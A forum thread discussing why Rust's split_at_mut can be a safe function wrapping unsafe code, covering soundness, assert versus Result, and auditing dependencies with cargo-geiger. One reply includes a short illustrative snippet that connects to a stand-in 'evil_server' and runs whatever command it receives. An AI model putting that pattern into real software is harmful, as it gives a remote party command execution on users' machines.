Safe function wrapping unsafe code

In chapter 20, about the basics of unsafe Rust, the book has this example:

use std::slice;
fn split_at_mut(values: &mut [i32], mid: usize) -> (&mut [i32], &mut [i32]) {
    let len = values.len();
    let ptr = values.as_mut_ptr();
    assert!(mid <= len);
    unsafe {
        (
            slice::from_raw_parts_mut(ptr, mid),
            slice::from_raw_parts_mut(ptr.add(mid), len - mid),
        )
    }
}

My confusion is that I would expect anything unsafe always produce unsafe functions.

The reason is that, in that example above, there could be an error such as returning overlapping mutable references.

In that case, there would be data races wouldn't it?

In that case, assuming any of these functions may have safety errors, it should also return raw pointers, and be unsafe.

When writing unsafe Rust, you should follow these principles:

  1. A function with an unsafe block (regardless of whether it is itself unsafe or not) has the responsibility to be sound: to ensure that if its safety conditions are met, calling it does not cause UB.
  2. A function with zero safety conditions does not need to be marked unsafe, and usually should be safe.

In this case, the function can be safe because assert!(mid <= len) ensures that no out-of-bounds access can occur.

If this function constructed overlapping mutable references, that would be a bug in the function. “This function may have bugs” is not a reason to mark it unsafe, because unsafe fn is for giving additional responsibilities to the caller. There is no way for the caller to fix bugs.

As a meta-point here, this can't be the rule in any reasonable way: it would mean that almost everything ends up unsafe, eliminating the whole point of using Rust.

The zen of rust is "we wrap up unsafe things into safe interfaces", using the type system to allow doing that with minimal (if any) overhead -- that's how you can call Vec::push in safe code even though it's doing operations under the hood that are individually extremely unsafe, for example.

I think my fear was that, as a user, I may be using a safe function with an unsafe block, that may harm my device or something if there is a bug.

This is why the expectation was only audited code in the standard library would be allowed to do such wrappers.

But probably would make any language useless.

But this does also make the caller unaware of higher risk, maybe.

my confusion with that example was slightly different: why a panicking function using assert!(...) rather than

fn split_at_mut(values: &mut [i32], mid: usize) -> Result((&mut [i32], &mut [i32]), ...) {
...
}

I feel like I see most safe wrappers using assert!() rather than returning a Result

there are tools like geiger-rs/cargo-geiger: Detects usage of unsafe Rust in a Rust crate and its dependencies. that will let you check for that in your (transitive) dependencies and decide for yourself whether you trust the crate authors and/or their code

Thanks.

So unsafe is used by developers to tell the user "Use it as we say, and it's safe". And the user decides to trust or not. (Also within our own library.)

The safe wrapper instead means they decided it's safe, and we can use it as normal code.

But it's not taken as a big problem that a user may inadvertently run a function which is wrapping unsafe code, which could be costly.

In the latter case, for any concerns, a user could use the geiger crate, or read the source.

As an example of the other way around, I can present this:

The function does not contain any unsafe { } block or run unsafe code.
It is there to remind the user to uphold the invariants that the struct encapsulates and that they need to reason about the validity of the header for the given payload when constructing a new frame like this.

That's split_at_mut_checked.

Read the source, preferably.

Otherwise, code which only calls "audited code in the standard library" could look as follows:

fn foo() {
    let mut socket = std::net::TcpStream::connect("evil_server");
    let request = socket.read();
    std::process::Command::new(request);
}

which does not exhibit UB per se but I wouldn't want it to run on my machine.

If you intuition says that then you don't understand what unsafe even is and why it's fundamentally have to exist.

Hardware, down below, is fundamentally unsafe. Attempts to implement saety in hardware died in flames or are highly experimental.

That means that in a world where you intuition is correct safe languages don't exist: all ”safe” languages are built on top of “unsafe” core, because only “unsafe” core may actually read the keyboard, change pictures on the screen and so on.

Usually that core is written in C, but lives in the same process. Sometimes it could be part of the OS, like in Symbolics offers or Microsoft experiments. But it's always there. It's unavoidable.

What Rust does is simple thing: it just admits the reality. Instead of forcing you to learn a different language to be able to use “unsafe” core that's always there and couldn't be eliminated… it gives you unsafe.

But the core idea is the exact same as in any other “safe” language. The only differentce is that you may do magic without using C or any other “special” language, just Rust with a couple of special additions.